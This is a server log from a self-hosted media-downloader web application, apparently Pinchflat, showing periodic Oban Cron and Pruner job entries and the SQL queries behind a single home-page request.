{"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.540 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:00.687 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:30.689 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.541 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:00.691 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:30.693 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.542 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:00.695 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:30.697 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.543 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:00.699 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:30.701 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.544 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:00.703 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:30.705 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.545 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:00.707 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:30.709 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.546 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:00.711 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:30.713 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.547 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:00.715 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:30.717 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.548 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:00.722 [info] {"source":"oban","duration":4058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:30.725 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.549 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:00.727 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:30.729 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.550 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:00.731 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:30.733 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.551 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:00.735 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:30.737 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.552 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:00.739 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:30.741 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.553 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:00.743 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:30.745 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.554 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:00.747 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:30.749 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.555 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:00.751 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:30.753 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.556 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:00.755 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:30.757 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.557 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:00.759 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:30.761 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.558 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:00.763 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:30.765 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.559 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:00.767 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:30.769 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.560 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:00.771 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:30.773 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.561 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:00.775 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:30.777 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.562 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:00.779 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:30.781 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.563 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:00.783 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:30.785 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.564 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:00.787 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:30.789 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.565 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:00.791 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:30.793 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.566 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:00.795 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:30.797 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.567 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:00.799 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:30.801 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.568 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:00.803 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:30.805 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.569 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:00.807 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:30.808 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.570 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:00.811 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:30.813 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.571 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:00.815 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:30.817 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.572 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:00.819 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:30.821 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.573 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:00.823 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:30.825 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.574 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:00.827 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:30.829 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.575 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:00.831 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:30.833 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.576 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:00.835 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:30.837 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.577 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:00.839 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:30.841 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:32.245 [info] GET / 23:38:32.245 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:38:32.246 [debug] QUERY OK source="settings" db=0.3ms idle=1600.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:38:32.247 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1601.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:38:32.248 [debug] QUERY OK source="sources" db=0.4ms idle=1602.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:38:32.251 [debug] QUERY OK source="media_items" db=2.8ms idle=1406.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:38:32.251 [debug] QUERY OK source="media_items" db=0.6ms idle=925.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:38:32.252 [debug] QUERY OK source="settings" db=0.3ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:38:32.253 [debug] QUERY OK source="settings" db=0.3ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:38:32.254 [debug] QUERY OK source="settings" db=0.3ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:38:32.257 [debug] QUERY OK source="tasks" db=0.5ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:38:32.258 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:38:32.259 [debug] QUERY OK source="media_items" db=0.8ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:38:32.260 [debug] QUERY OK source="sources" db=0.4ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 23:38:32.268 [debug] QUERY OK source="media_items" db=3.9ms idle=10.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:38:32.270 [debug] QUERY OK source="media_items" db=1.6ms idle=12.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:38:32.271 [debug] QUERY OK source="sources" db=0.4ms idle=13.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:38:32.275 [info] Sent 200 in 30ms 23:39:00.578 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:00.843 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:30.845 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.579 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:00.847 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:30.849 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.580 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:00.851 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:30.853 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.581 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:00.854 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:30.857 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.582 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:00.859 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:30.861 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.583 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:00.863 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:30.865 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.584 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:00.867 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:30.869 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.585 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:00.871 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:30.873 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.586 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:00.875 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:30.877 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.587 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:00.879 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:30.881 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.588 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:00.883 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:30.885 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.589 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:00.887 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:30.889 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.590 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:00.891 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:30.893 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.591 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:00.895 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:30.897 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.592 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:00.899 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:30.901 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.593 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:00.903 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:30.905 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.595 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:00.907 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:30.909 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.596 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:00.911 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:30.913 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.597 [info] 